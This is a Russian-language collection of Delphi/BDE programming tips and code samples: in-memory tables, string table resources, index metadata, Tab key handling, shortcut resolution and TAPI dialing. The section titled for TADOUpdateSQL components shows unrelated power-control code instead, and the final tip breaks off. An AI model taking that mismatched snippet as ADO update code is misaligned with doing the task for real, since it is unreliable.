Вот пример InMemoryTable. Свободен для использования, модификации и всего остального. Ну и как в отношении других вещей: я не даю никаких гарантий. Я не несу никакой ответственности за ущерб, который может причинить код. Позвольте, я повторю это: ВНИМАНИЕ! ДАННЫЙ КОД НЕ ПРЕДУСМАТРИВАЕТ НИКАКИХ ГАРАНТИЙ! ИСПОЛЬЗУЙТЕ ЕГО НА СВОЙ СТРАХ И РИСК - ВЫ ЕДИНСТВЕННЫЙ ЧЕЛОВЕК, ОТВЕТСТВЕННЫЙ ЗА ЛЮБОЙ УЩЕРБ, КОТОРЫЙ МОЖЕТ ПОВЛЕЧЬ ЗА СОБОЙ ИСПОЛЬЗОВАНИЕ ДАННОГО КОДА - - Я ВАС ПРЕДУПРЕДИЛ! Благодарю Steve Garland за предоставленную помощь. Он создал свой собственный "in-memory" табличный компонент, который послужил мне толчком для написания сего кода.

InMemory-таблицы являются характеристикой Borland Database Engine (BDE). InMemory-таблицы создаются в RAM и удаляются при их закрытии. Работают они значительно быстрее и очень полезны в случае, если вам нужны быстрые операции в небольших таблицах. Данный пример использует вызов функции BDE DbiCreateInMemoryTable. Данный объект должен работать наподобии простой регулярной таблицы, за исключением того, что InMemory-таблицы не поддерживают некоторые характеристики (типа проверка целостности, вторичные индексы и BLOB-поля), и в настоящее время данный код не содержит механизма обработки ошибок. Вероятно, вы получите ошибку при попытке создания memo-поля. Если у вас есть любые замечания, шлите их по адресу grisha@mira.com.

unit Inmem;
interface
uses DBTables, WinTypes, WinProcs, DBITypes, DBIProcs, DB, SysUtils;
type
  TInMemoryTable = class(TTable)
  private
    hCursor: hDBICur;
    procedure EncodeFieldDesc(var FieldDesc: FLDDesc;
      const Name: string; DataType: TFieldType; Size: Word);
    function CreateHandle: HDBICur; override;
  public
    procedure CreateTable;
  end;
implementation
{ Эта функция виртуальная, так что я смог перекрыть ее.
В оригинальном VCL-коде для TTable эта функция реально
открывает таблицу, но, поскольку мы уже имеем дескриптор
таблицы, то мы просто возвращаем его }
function TInMemoryTable.CreateHandle;
begin
  Result := hCursor;
end;
{ Эта функция получена ее простым копированием из исходного
кода VCL. Я должен был это сделать, поскольку это было
объявлено в секции private компонента TTable, поэтому отсюда
у меня не было к этому досупа. }
procedure TInMemoryTable.EncodeFieldDesc(var FieldDesc: FLDDesc;
  const Name: string; DataType: TFieldType; Size: Word);
const
  TypeMap: array[TFieldType] of Byte = (
    fldUNKNOWN, fldZSTRING, fldINT16, fldINT32, fldUINT16, fldBOOL,
    fldFLOAT, fldFLOAT, fldBCD, fldDATE, fldTIME, fldTIMESTAMP, fldBYTES,
    fldVARBYTES, fldBLOB, fldBLOB, fldBLOB);
begin
  with FieldDesc do
  begin
    AnsiToNative(Locale, Name, szName, SizeOf(szName) - 1);
    iFldType := TypeMap[DataType];
    case DataType of
      ftString, ftBytes, ftVarBytes, ftBlob, ftMemo, ftGraphic:
        iUnits1 := Size;
      ftBCD:
        begin
          iUnits1 := 32;
          iUnits2 := Size;
        end;
    end;
    case DataType of
      ftCurrency:
        iSubType := fldstMONEY;
      ftBlob:
        iSubType := fldstBINARY;
      ftMemo:
        iSubType := fldstMEMO;
      ftGraphic:
        iSubType := fldstGRAPHIC;
    end;
  end;
end;
{ Вот кухня, где все это происходит. Я скопировал эту
функцию из исходников VCL и затем изменил ее для
использования DbiCreateInMemoryTable вместо DbiCreateTable.
Поскольку InMemory-таблицы не поддерживают индексы,
я удалил весь соответствующий код. }
procedure TInMemoryTable.CreateTable;
var
  I: Integer;
  pFieldDesc: pFLDDesc;
  szTblName: DBITBLNAME;
  iFields: Word;
  Dogs: pfldDesc;
begin
  CheckInactive;
  if FieldDefs.Count = 0 then
    for I := 0 to FieldCount - 1 do
      with Fields[I] do
        if not Calculated then
          FieldDefs.Add(FieldName, DataType, Size, Required);
  pFieldDesc := nil;
  SetDBFlag(dbfTable, True);
  try
    AnsiToNative(Locale, TableName, szTblName, SizeOf(szTblName) - 1);
    iFields := FieldDefs.Count;
    pFieldDesc := AllocMem(iFields * SizeOf(FLDDesc));
    for I := 0 to FieldDefs.Count - 1 do
      with FieldDefs[I] do
      begin
        EncodeFieldDesc(PFieldDescList(pFieldDesc)^[I], Name,
          DataType, Size);
      end;
    { тип драйвера nil, т.к. поля логические }
    Check(DbiTranslateRecordStructure(nil, iFields, pFieldDesc,
      nil, nil, pFieldDesc));
    { здесь hCursor получает свое значение }
    Check(DbiCreateInMemTable(DBHandle, szTblName, iFields, pFieldDesc,
      hCursor));
  finally
    if pFieldDesc <> nil then
      FreeMem(pFieldDesc, iFields *
        SizeOf(FLDDesc));
    SetDBFlag(dbfTable, False);
  end;
end;
end.
{Данный код взят из файлов помощи Ллойда!}

Таблицы строк.

Поймал програмер мышь мышеловкой и давай по коврику таскать ее, а стрелка на месте стоит: "Наверное, ее почистить надо", - подумал програмер.
Ресурсы в виде таблиц строк (Stringtable) являются очень полезным подспорьем, когда ваше приложение должно хранить большое количество строк для их вывода во время выполнения приложения. Вы должны побороть искушение непосредственной вставки строк в вашу программу, поскольку использование таблиц строк имеет два неоспоримых преимущества: 1) Строки, хранимые в ресурсах, не занимают память до тех пор, пока они не будут загружены вашим приложением. 2) Stringtables легко редактировать, создавая таким образом локализованные (переведенные) версии вашего приложения. Таблицы строк компилируются в ".res"-файл, который включается в exe-файл приложения во время сборки. Даже после того, как вы распространите ваше приложение, таблицы строк, содержащиеся в вашем приложении могут редактироваться редактором ресурсов. Моим любимым редактором ресурсов является Borland Resource Workshop, поставляемый в комплекте с Delphi. Он позволяет в режиме WYSIWYG редактировать как 16-, так и 32-битные ресурсы, как автономные, так и имплантированные в exe или dll-файлы. Тем более это удобно, если учесть что вместе со всеми версиями Delphi поставляется компилятор ресурсов из командной строки (Borland Resource Command Line Compiler) (BRCC.EXE и BRCC32.EXE), расположенный в Delphi-директории Bin. В нашем примере мы создадим интернациональное приложение, отображающее всего две кнопки. Кнопки будут иметь заголовки "Да" и "Нет", имеющие представления для английского, испанского и шведского языков. Если вы вознамерились создавать мультиязыковые приложения с помощью Delphi, вам просто необходимо взглянуть на другие продукты фирмы Borland - Delphi Translation Suite и Language Pack software. Данные продукты позволяют изменять язык приложения одним щелчком! Пример: Для начала в каталоге с исходным кодом приложения мы должны создать текстовый файл, содержащий строковые ресурсы. Пока вы можете создать файл с любым именем (главное, чтобы он имел расширение ".rc") и файл без разширения - главное, чтобы их имя не совпадало с именами файлов модулей и файла проекта. Это очень важно, поскольку Delphi автоматически создает множество файлов с ресурсами для вашего приложения с теми же именами и переписывает их, не заботясь о наличии таких же файлов, но созданных вашими руками. Вот содержание .rc-файла для нашего примера. Файл содержит слова "Yes" и "No" на английском, испанском и шведских языках:
STRINGTABLE
{
 1, "&Yes"
 2, "&No"
 17, "&Si"
 18, "&No"
 33, "&Ja"
 34, "&Nej"
}
Файл начинается с ключевого слова stringtable, обозначая, что следом располагается таблица строк. Сами строки находятся внутри скобок, таким образом таблица должна быть обрамлена двумя скобками - открывающей и закрывающей. Каждая строка должна содержать идентификатор, сопровождаемый строкой, заключенной в кавычки. Строка может содержать вплоть до 255 символов. Если вам нужно вставить нестандартный символ, напишите его восьмиричный код и предварите его обратной косой чертой. Единственное исключение - когда вам нужно вставить саму обратную черту - в этом случае понадобиться использование двух таких символов. Вот два примера:
1, "A two\012line string"
2, "c:\\Borland\\Delphi"
Используемый номер индекса абсолютно не важен для компилятора. Вы должны иметь в виду, что таблицы строк располагаются в памяти в 16 битных сегментах (Win 3.xx). Для компиляции .rc-файла в .res-файл, который можно прилинковать к вашему приложению, вы должны набрать в командной строке полный путь к компилятору ресурсов и полный путь к компилируемому .rc-файлу. Вот пример:
c:\Delphi\Bin\brcc32.exe c:\Delphi\strtbl32.rc
После окончания процесса компиляции в указанном каталоге появляется файл с тем же именем, что и у .rc-файла, но имеющий расширение ".res". Для включения ресурсов в ваше приложение необходимо в коде программы добавить следующую директиву компилятора, указывающую на файл с ресурсами: {$R ResFileName.RES} После того, как .res-файл прилинкуется к приложению, вы можете воспользоваться связанными ресурсами из любого модуля вашего проекта, даже если вы определили директиву $R в секции реализации (implementation) другого модуля.

Вот пример использования Windows API функции LoadString() для загрузки в массив символов третьей строки из таблицы строк:

if LoadString(hInstance, 3, @a, sizeof(a)) <> 0 then ....
В этом примере функция LoadString() передает дескриптор (hInstance) модуля, содержащего ресурс, индекс требуемой строки, адрес массива символов, куда будет передана строка и размер самого массива. Функция LoadString возвращает количество реально переданных символов без учета терминатора. Будьте внимательны: при использовании UNICODE количество загружаемых байт будет другим. Ниже приведен исчерпывающий пример создания многоязыкового приложения с помощью Delphi. Приложение совместимо как с 16, так и с 32-битными версиями Delphi. Для этого вам придется создать два идентичных .rc-файла, один для 16-битной версии, второй для 32-битной, т.к. используемые ресурсы для каждой платформы свои. В данном примере мы создадим один файл с именем STRTBL16.rc, а другой с именем STRTBL32.rc. Скомпилируйте файл STRTBL16.rc с помощью 16-битного компилятора BRCC.exe (расположен в каталоге BIN Delphi 1) и файл STRTBL32.rc с помощью BRCC32.exe (расположен в той же директории 32-битной версии Delphi).

Во время работы приложения мы выясняем язык операционной системы, установленный по умолчанию. Метод получения такой информации отличается для 16- и 32-битной версии Windows. Чтобы сделать код более читабельным, мы позаимствовали "языковые" константы из файла Windows.pas, применяемого в 32-битной версии Delphi.

{$IFDEF WIN32}
{$R STRTBL32.RES}
{$ELSE}
{$R STRTBL16.RES}
const
  LANG_ENGLISH = $09;
const
  LANG_SPANISH = $0A;
const
  LANG_SWEDISH = $1D;
{$ENDIF}
function GetLanguage: word;
{$IFDEF WIN32}
{$ELSE}
var
  s: string;
  i: integer;
{$ENDIF}
begin
{$IFDEF WIN32}
  GetLanguage := GetUserDefaultLangID and $3FF;
{$ELSE}
  s[0] := Char(GetProfileString('intl',
    'sLanguage',
    'none',
    @s[1],
    sizeof(s) - 2));
  for i := 1 to length(s) do
    s[i] := UpCase(s[i]);
  if s = 'ENU' then
    GetLanguage := LANG_ENGLISH
  else if s = 'ESN' then
    GetLanguage := LANG_SPANISH
  else if s = 'SVE' then
    GetLanguage := LANG_SWEDISH
  else
    GetLanguage := LANG_ENGLISH;
{$ENDIF}
end;
procedure TForm1.FormCreate(Sender: TObject);
var
  a: array[0..255] of char;
  StrTblOfs: integer;
begin
  {Получаем текущий язык системы и начало соответствующих строк в таблице}
  case GetLanguage of
    LANG_ENGLISH: StrTblOfs := 0;
    LANG_SPANISH: StrTblOfs := 16;
    LANG_SWEDISH: StrTblOfs := 32;
  else
    StrTblOfs := 0;
  end;
  {Загружаем и устанавливаем заголовок кнопки "Yes" в соответствии с языком}
  if LoadString(hInstance,
    StrTblOfs + 1,
    @a,
    sizeof(a)) <> 0 then
    Button1.Caption := StrPas(a);
  {Загружаем и устанавливаем заголовок кнопки "No" в соответствии с языком}
  if LoadString(hInstance,
    StrTblOfs + 2,
    @a,
    sizeof(a)) <> 0 then
    Button2.Caption := StrPas(a);
end;

Извлечение данных индекса таблицы.

Получить во время выполнения приложения список индексов, ассоциированных с таблицей также просто, как вызвать метод GetIndexNames для компонентов TTable, TQuery или TStoredProc. Метод GetIndexNames возвращает список, доступный в наборе данных для компонента TStrignList, установленного на форме (для нашего примера), или других визуальных компонентов, таких как TListBox, через свойство Items:

ListBox1.Clear;
Table1.GetIndexNames(ListBox1.Items);
Естественно, список TStrings, возвращаемый методом GetIndexNames, не должен использоваться визуальным компонентом. Он может представлять собой массив имен индексов, храниться в памяти и использоваться в качестве списка или массива. Но существует возможность получения дополнительной информации об индексах таблицы, а не только их имена. Другие описываемые атрибуты представляют собой имя каждого индекса, имена полей, включающие каждый индекс и опции индекса, используемые при их создании. Получение этих величин немного труднее, чем простое использование GetIndexNames. В основном, данные значения можно получить с помощью простой итерации свойства IndexDefs компонента TTable, TQuery или TStoredProc. Свойство IndexDefs по существу является массивом записей, по одной записи на каждый индекс таблицы. Каждая индексная запись (index record) содержит информацию об индексе. Процесс получения массива записей, содержащих информацию отдельно о каждом индексе, достаточно прост в реализации. Свойство IndexDefs компонента TTable содержит информацию об индексах таблицы, используемой компонентом TTable, TQuery или TStoredProc. Само свойство IndexDefs в свою очередь также имеет различные свойства, содержащие специфическую информацию об извлекаемых индексах. Объект IndexDefs содержит два свойства:
    Count: type Integer;
доступно только во время выполнения программы и имеет флаг только для чтения; указывает на количество элементов в свойстве Items (например, количество индексов в таблице).
  Items: type TIndexDef;
доступно только во время выполнения программы и имеет флаг только для чтения; массив объектов TIndexDef, каждый объект описывает один индекс таблицы. Свойство Count объекта IndexDefs является основой для создания счетчика цикла, в теле которого с помощью элементов свойства Items извлекается информация о каждом индексе таблицы. Каждый объект IndexDef, содержащийся в свойстве Items, состоит из множества свойств, описывающих характеристики каждого индекса в отдельности. Все свойства объекта IndexDef доступны только во время выполнения программы и имеют флаг "только для чтения". Вот эти свойства:
  Expression: type String; содержит выражение, использующееся 
                           для dBASE multi-field индексов 
                           (индексов для нескольких полей).
  Fields:     type String; содержит поле или несколько полей, 
                           на основе которых создан индекс.
  Name:       type String; имя индекса.
  Options:    type TIndexOptions; характеристики индекса 
                           (ixPrimary,  ixUnique и др.).
Перед получением любой информации об индексе (Count или Items) необходимо вызвать метод Update объекта IndexDefs. Это обновляет (или инициализирует) набор индексов для объектов IndexDef. Примеры

Вот пример простого For-цикла, использующего в качестве счетчика свойство Count объекта IndexDefs, и извлекающего имя каждого индекса (если какой-либо существует) таблицы, представленной компонентом TTable с именем Table1:

procedure TForm1.ListBtnClick(Sender: TObject);
var
  i: Integer;
begin
  ListBox1.Items.Clear;
  with Table1 do
  begin
    if IndexDefs.Count > 0 then
    begin
      for i := 0 to IndexDefs.Count - 1 do
        ListBox1.Items.Add(IndexDefs.Items[i].Name)
    end;
  end;
end;

Ниже приведен пример, показывающий как можно извлечь информацию об индексах во время выполнения программы с выводом ее в компонент TStringGrid (с именем SG1).

procedure TForm1.FormShow(Sender: TObject);
var
  i: Integer;
  S: string;
begin
  with Table1 do
  begin
    Open;
    {Обновляем объект IndexDefs}
    IndexDefs.Update;
    if IndexDefs.Count > 0 then
    begin
      {Устанавливаем колонки и строки сетки для соответствия элементам IndexDefs}
      SG1.ColCount := 4;
      SG1.RowCount := IndexDefs.Count + 1;
      {Устанавливаем заголовки колонок сетки согласно именам свойств TIndexDef}
      SG1.Cells[0, 0] := 'Name';
      SG1.ColWidths[0] := 200;
      SG1.Cells[1, 0] := 'Fields';
      SG1.ColWidths[1] := 200;
      SG1.Cells[2, 0] := 'Expression';
      SG1.ColWidths[2] := 200;
      SG1.Cells[3, 0] := 'Options';
      SG1.ColWidths[3] := 300;
      {Цикл с опросом IndexDefs.Items}
      for i := 0 to IndexDefs.Count - 1 do
      begin
        {Заполняем ячейки сетки в текущей колонке}
        SG1.Cells[0, i + 1] := IndexDefs.Items[i].Name;
        SG1.Cells[1, i + 1] := IndexDefs.Items[i].Fields;
        SG1.Cells[2, i + 1] := IndexDefs.Items[i].Expression;
        if ixPrimary in IndexDefs.Items[i].Options then
          S := 'ixPrimary, ';
        if ixUnique in IndexDefs.Items[i].Options then
          S := S + 'ixUnique, ';
        if ixDescending in IndexDefs.Items[i].Options then
          S := S + 'ixDescending, ';
        if ixCaseInsensitive in IndexDefs.Items[i].Options then
          S := S + 'ixCaseInsensitive, ';
        if ixExpression in IndexDefs.Items[i].Options then
          S := S + 'ixExpression, ';
        if S > ' ' then
        begin
          {Отфильтровываем ", "}
          System.Delete(S, Length(S) - 1, 2);
          SG1.Cells[3, i + 1] := S;
        end;
      end;
    end;
  end;
end;
Специфичные особенности При работе с таблицами различных типов при необходимо учитывать их особенности. Посредством Delphi можно получить доступ к нескольким типам таблиц, и у каждой имеются свои специфические особенности, связанные с извлекаемой информацией об индексах. Таблицы dBASE При работе с индексами dBASE, свойства Fields и Expression заполняются в зависимости от типа индекса, который может быть как простым (основанным на одном поле), так и сложным (базирующимся на нескольких полях или dBASE-выражениях). Если индекс является простым, свойство Fields будет содержать имя поля таблицы, на основе которого построен индекс, а свойство Expression будет пустым. Если индекс сложный, свойство Expression будет содержать выражение, на основе которого был построен индекс (например, "Field1+Field2"), а свойство Fields будет пустым. Таблицы Paradox При работе с первичными индексами Paradox, свойство Name будет пустым, свойство Fields будет содержать поле(я), на основе которых создан индекс, а свойство Options будет содержать ixPrimary. При работе со вторичными индексами, свойство Name будет содержать имя вторичного индекса, свойство Fields будет содержать поле(я), на основе которых создан индекс, а свойство Options может как содержать какое-либо значение, так и быть пустым. Свойство Fields у индексов, основанных более чем на одном поле, содержит имена полей, разделенных точкой с запятой. Индексы, основанные только на одном поле, в свойстве Fields содержат имя только данного поля. Таблицы InterBase Для обоих типов индексов, построенных как на основе одного, так и нескольких полей, свойство Expression будет пустым. Для индексов, построенных на основе одного поля, свойство Fields будет содержать имя поля, на основе которого был создан индекс. Свойство Fields у индексов, основанных более чем на одном поле, содержит имена полей, разделенных точкой с запятой. Индексы, определенные в команде CREATE TABLE как PRIMARY, в свойстве Name будут содержать значение "RDB$PRIMARYn", где n - порядковый номер символа, однозначно определяющий первичный индекс в пределах метаданных БД. Вторичные индексы содержат фактическое имя индекса. Внешние ключи также содержат индексы, созданные системой. Такие индексы будут содержаться в свойстве IndexDefs и иметь имя "RDB$FOREIGNn", где n - порядковый номер символа, однозначно определяющий индекс в пределах метаданных БД.

Свойство Fields у индексов, основанных более чем на одном поле, содержит имена полей, разделенных точкой с запятой. Индексы, основанные только на одном поле, в свойстве Fields содержат имя только данного поля.

Как сохранить содержимое таблицы в текстовый файл.

Эти небольшие функции анализирую таблицу и записывают её содержимое в TStringList. А затем просто сохраняют в файл.

procedure DatasetRecordToInfFile(aDataset: TDataSet; aStrList: TStrings);
var
  i: integer;
begin
  for i := 0 to (aDataset.FieldCount-1) do
    aStrList.Add(aDataset.Fields[i].FieldName + '=' +
    aDataset.Fields[i].AsString);
end;
procedure DatasetToInfFile(aDataset: TDataSet; aStrList: TStrings);
begin
  aDataSet.First;
  while not aDataSet.EOF do
  begin
    DatasetRecordToInfFile(aDataset,aStrList);
    aDataSet.Next;
  end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  DatasetRecordToInfFile(Table1,Memo1.Lines);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
  DatasetToInfFile(Table1,Memo1.Lines);
end;

Получить версию таблицы.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function GetTableVersion(Table: TTable): Longint;
 var
   hCursor: hDBICur;
   DT:      TBLFullDesc;
 begin
   Check(DbiOpenTableList(Table.DBHandle, True, False,
     PChar(Table.TableName), hCursor));
   Check(DbiGetNextRecord(hCursor, dbiNOLOCK, @DT, nil));
   Result := DT.tblExt.iRestrVersion;
   Check(DbiCloseCursor(hCursor));
 end;

Синхронизация TabSet c ListBox.

Что-то аналогичное я делал раньше, тем не менее, вместо Listbox я использовал dbGrid со следующими опциями: [dgAlwaysShowEditor,dgTabs,dgRowSelect,dgAlwaysShowSelection,dgConfirmDelete, dgCancelOnExit]

Кроме того, я привел код, который я использовал в ответ на щелчок на закладке, таким образом изменяя запись в dbgrid.

procedure TForm1.TabSet1Change(Sender: TObject; NewTab: Integer;
  var AllowChange: Boolean);
begin
  Table1.FindNearest([Chr(NewTab+65)]);
  Table2.FindNearest([Chr(NewTab+65)]);
end;
procedure TForm1.TabSet1Click(Sender: TObject);
var
  I: integer;
begin
  with TabSet1 do
  begin
    if TabIndex > -1 then
    begin
      with ListBox1 do
      begin
        for I := 0 to Items.Count - 1 do
        begin
          if Pos(Tabs[TabIndex], Items[I]) = 1 then
          begin
            ItemIndex := I;
            break;
          end;
        end;
      end;
    end;
  end;
end;

Перемещение на страницу TabSet по имени.

Разместите компоненты Tabset(TabSet1) и Edit (Edit1) на вашей форме. Измените свойство компонента Tabset Tabs для размещения в списке строк следующих четерых закладок: Hello World Of Delphi

Создайте обработчик события onChange компонента Edit1 как показано ниже:

procedure TForm1.Edit1Change(Sender: TObject);
var
  I: Integer;
begin
  for  I:= 0 to tabset1.tabs.count-1 do
    if  edit1.text = tabset1.tabs[I] then
      tabset1.tabindex:=I;
end;

Теперь при наборе любого из существующих имен в edit1 соотвутствующая закладка будет выведена на передний план.

Как определить, что была нажата клавиша Tab.

Нажмите какую-нибудь клавишу для выхода или любую другую для продолжения.

На уровне формы клавиша tab обычно обрабатывается Windows. В примере создается обработчик события CM_Dialog для перехвата Dialog keys.

type
  TForm1 = class(TForm)
  private
    procedure CMDialogKey( var msg: TCMDialogKey );
    message CM_DIALOGKEY;
end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.CMDialogKey(var msg: TCMDialogKey);
begin
  if msg.Charcode <> VK_TAB then
    inherited;
end;
procedure TForm1.FormKeyDown(Sender: TObject;
var Key: Word; Shift: TShiftState);
begin
  if Key = VK_TAB then
    Form1.Caption := 'Tab Key Down!';
end;

Имитация Tab.

SelectNext(screen.ActiveControl, True, True);

Разместите приведенный код в обработчике одного из собитий. SelectNext - защищенный метод TWinControl со следующим прототипом:

procedure SelectNext(CurControl: TWinControl;
GoForward, CheckTabStop: Boolean);

Так как форма также является потомком TWinControl, то она имеет доступ к защищенным методам.

События KeyPress и KeyDown не вызываются для Tab - как определить ее нажатие.

type
  TForm1 = class(TForm)
  private
    procedure CMDialogKey(var msg: TCMDialogKey);
      message CM_DIALOGKEY;
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.CMDialogKey(var msg: TCMDialogKey);
begin
  if msg.Charcode <> VK_TAB then
    inherited;
end;
procedure TForm1.FormKeyDown(Sender: TObject; var Key:
  Word; Shift: TShiftState);
begin
  if Key = VK_TAB then
    Form1.Caption := 'Tab Key Down!';
end;

Tab как Enter в StringGrid.

Данный код переводит ввод на другую колонку. При достижении конца колонок, ввод перемещается на следующую строку. При достижении самого конца сетки, управление перемещается в ее самое начало - естественно, вы можете изменить это поведение, и передавать управление в этом случае другому элементу управления.

procedure TForm1.StringGrid1KeyPress(Sender: TObject; var Key: Char);
begin
  if Key = #13 then
    with StringGrid1 do
      if Col < ColCount - 1 then {следующая колонка!}
        Col := Col + 1
      else if Row < RowCount - 1 then
      begin {следующая строка!}
        Row := Row + 1;
        Col := 1;
      end
      else
      begin {Конец сетки! - Снова перемещаемся наверх!}
        Row := 1;
        Col := 1;
        {или вы можете передать управление другому элементу управления}
      end;
end;

Ошибка TACTIVEFORMX DECLARATION MISSING OR INCORRECT (определение TACTIVEFORMX отсутствует или неправильно).

"Умный учится на чужих ошибках..." Продукты Майкрософт - век живи, век учись!

Обычно это происходит при неправильном порядке изменения имени ActiveForm (смотри README.TXT). Если сначала изменяется имя CoClass, а затем делается обновление (refresh), возникает AV. При дальнейшей попытке изменить имя в Инспекторе Объектов вы получите ошибку "TActiveFormX declaration missing or incorrect" (определение TActiveFormX отсутствует или неправильно). Для решения проблемы откройте .DFM-файл и измените строчку:

object ActiveFormX: TActiveFormX

На.

object MyForm: TMyForm 

Компонент TADOUpdateSQL.

Оформил: DeeCo

Автор: Горкуша Алексей.

Здесь представлены работающие компоненты обновления данных, полученных запросом через TADOQuery, аналогичные компонентам BDE TQuery,TUpdateSQL

Компоненты TADOUpdateQuery, TADOUpdateSQL выполняют в точности те же функции что и компоненты BDE TQuery,TUpdateSQL. Это может способствовать быстрому переводу программ с BDE на ADO. Компоненты работающие (в исходных текстах есть комментарии), но до полной совместимости необходимы доработки, например: отсутствуют события onUpdateRecord, onUpdateError. Предлагаю всем подключится и довести дело до конца.

procedure TForm1.Button1Click(Sender: TObject);
begin
  PowerControl1.Action := actCDEject; // Или...
  actLogOFF, actShutDown...PowerControl1.Execute;
end;
= = = = = = = = = = = = = = = = = = = = = = = = = Component Code: unit
  PowerControl;
interface uses WinTypes, WinProcs, Messages,
  SysUtils, Classes, Controls, Forms, Graphics,
  MMSystem;
type
  TAction =
    (actLogOFF, actShutDown, actReBoot, actForce, actPowerOFF,
    actForceIfHung, actMonitorOFF, actMonitorON, actCDEject, actCDUnEject);
type
  TPowerControl = class(TComponent)
  private
    FAction: TAction;
    procedure
      SetAction(Value: TAction);
  protected
  public
    function Execute:
      Boolean;
  published
    property Action:
      TAction read FAction write SetAction;
  end;
procedure Register;
implementation
procedure register;
begin
  RegisterComponents('K2', [TPowerControl]);
end;
procedure TPowerControl.SetAction(Value: TAction);
begin
  FAction := Value;
end;
function TPowerControl.Execute: Boolean;
begin
  with (Owner as TForm) do
    case FAction of
      actLogOff:
        ExitWindowsEx(EWX_LOGOFF, 1);
      actShutDown:
        ExitWindowsEx(EWX_SHUTDOWN, 1);
      actReBoot:
        ExitWindowsEx(EWX_REBOOT, 1);
      actForce:
        ExitWindowsEx(EWX_FORCE, 1);
      actPowerOff:
        ExitWindowsEx(EWX_POWEROFF, 1);
      actForceIfHung:
        ExitWindowsEx(EWX_FORCEIFHUNG, 1);
      actMonitorOFF:
        SendMessage(Application.Handle,
          WM_SYSCOMMAND,
          SC_MONITORPOWER, 0);
      actMonitorON: SendMessage(Application.Handle, WM_SYSCOMMAND,
          SC_MONITORPOWER, -1);
      actCDEject: mciSendstring('SET CDAUDIO DOOR OPEN WAIT', nil, 0, Handle);
      actCDUnEject: mciSendstring('SET CDAUDIO DOOR CLOSED WAIT', nil, 0,
        Handle);
    end; {Case}
  Result := True;
end;
end.
Скачать ADOComponent.zip (5.7 K)

Как принимать ярлыки при перетягивании их на контрол.

Автор: Nomadic.

TForm1 = class(TForm)
  ...
  private
    { Private declarations }
    procedure WMDropFiles(var M: TWMDropFiles); message WM_DROPFILES;
  ...
end;
var
  Form1: TForm1;
implementation
uses
  StrUtils, ShellAPI, ComObj, ShlObj, ActiveX;
procedure TForm1.FormCreate(Sender: TObject);
begin
  ...
  DragAcceptFiles(Handle, True);
  ...
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
  ...
  DragAcceptFiles(Handle, False);
  ...
end;
procedure TForm1.WMDropFiles(var M: TWMDropFiles);
var
  hDrop: Cardinal;
  n: Integer;
  s: string;
begin
  hDrop := M.Drop;
  n := DragQueryFile(hDrop, 0, nil, 0);
  SetLength(s, n);
  DragQueryFile(hDrop, 0, PChar(s), n + 1);
  DragFinish(hDrop);
  M.Result := 0;
  FileOpen(s);
end;
procedure TForm1.FileOpen(FileName: string);
begin
  if CompareText(ExtractFileExt(FileName), '.lnk') = 0 then
    FileName := ResolveShortcut(Application.Handle, FileName);
  DocName := ExtractFileName(FileName);
  Caption := Application.Title + ' - ' + DocName;
  ...
end;
function ResolveShortcut(Wnd: HWND; ShortcutPath: string): string;
var
  obj: IUnknown;
  isl: IShellLink;
  ipf: IPersistFile;
  pfd: TWin32FindDataA;
begin
  Result := '';
  obj := CreateComObject(CLSID_ShellLink);
  isl := obj as IShellLink;
  ipf := obj as IPersistFile;
  ipf.Load(PWChar(WideString(ShortcutPath)), STGM_READ);
  with isl do
  begin
    Resolve(Wnd, SLR_ANY_MATCH);
    SetLength(Result, MAX_PATH);
    GetPath(PChar(Result), Length(Result), pfd, SLGP_UNCPRIORITY);
    Result := PChar(Result);
  end;
end;

Набрать номер по модему. Голосовой звонок. Использование TAPI.

Инетчик звонит по телефону. - Позовите пожалуйста Лену к телефону. - Такой здесь нет. "User unknown" , - подумал И-нетчик.

До слова implementation напишите такой код:

{tapi Errors}
const TAPIERR_CONNECTED = 0;
const TAPIERR_DROPPED = -1;
const TAPIERR_NOREQUESTRECIPIENT = -2;
const TAPIERR_REQUESTQUEUEFULL = -3;
const TAPIERR_INVALDESTADDRESS = -4;
const TAPIERR_INVALWINDOWHANDLE = -5;
const TAPIERR_INVALDEVICECLASS = -6;
const TAPIERR_INVALDEVICEID = -7;
const TAPIERR_DEVICECLASSUNAVAIL = -8;
const TAPIERR_DEVICEIDUNAVAIL = -9;
const TAPIERR_DEVICEINUSE = -10;
const TAPIERR_DESTBUSY = -11;
const TAPIERR_DESTNOANSWER = -12;
const TAPIERR_DESTUNAVAIL = -13;
const TAPIERR_UNKNOWNWINHANDLE = -14;
const TAPIERR_UNKNOWNREQUESTID = -15;
const TAPIERR_REQUESTFAILED = -16;
const TAPIERR_REQUESTCANCELLED = -17;
const TAPIERR_INVALPOINTER = -18;
{tapi size constants}
const TAPIMAXDESTADDRESSSIZE = 80;
const TAPIMAXAPPNAMESIZE = 40;
const TAPIMAXCALLEDPARTYSIZE = 40;
const TAPIMAXCOMMENTSIZE = 80;
const TAPIMAXDEVICECLASSSIZE = 40;
const TAPIMAXDEVICEIDSIZE = 40;
function tapiRequestMakeCallA(DestAddress : PAnsiChar;
AppName : PAnsiChar;
CalledParty : PAnsiChar;
Comment : PAnsiChar) : LongInt;
stdcall; external 'TAPI32.DLL';
function tapiRequestMakeCallW(DestAddress : PWideChar;
AppName : PWideChar;
CalledParty : PWideChar;
Comment : PWideChar) : LongInt;
stdcall; external 'TAPI32.DLL';
function tapiRequestMakeCall(DestAddress : PChar;
AppName : PChar;
CalledParty : PChar;
Comment : PChar) : LongInt;
stdcall; external 'TAPI32.DLL';

Нажатие кнопки обработайте следующим образом:

procedure TForm1.Button1Click(Sender: TObject);
var
  DestAddress : string;
  CalledParty : string;
  Comment : string;
begin
  DestAddress := '000-00-00'; {phone number}
  CalledParty := '___Nikolay';
  Comment := 'Calling to ___Nikolay';
  tapiRequestMakeCall(pChar(DestAddress),
  PChar(Application.Title),
  pChar(CalledParty),
  PChar(Comment));
end;

Сделать кнопку на TaskBar для каждого окна.

Статьи по Delphi (017)…

У многооконного приложения, как Delphi, обычно только одна кнопка на TaskBar. Если же вам понадобилось, чтобы у каждого окна была своя кнопка, воспользуйтесь функцией SetWindowLong, добавив флаг WS_EX_APPWINDOW.

В модуле первого окна:

uses Unit2, Unit3;
{$R *.DFM}
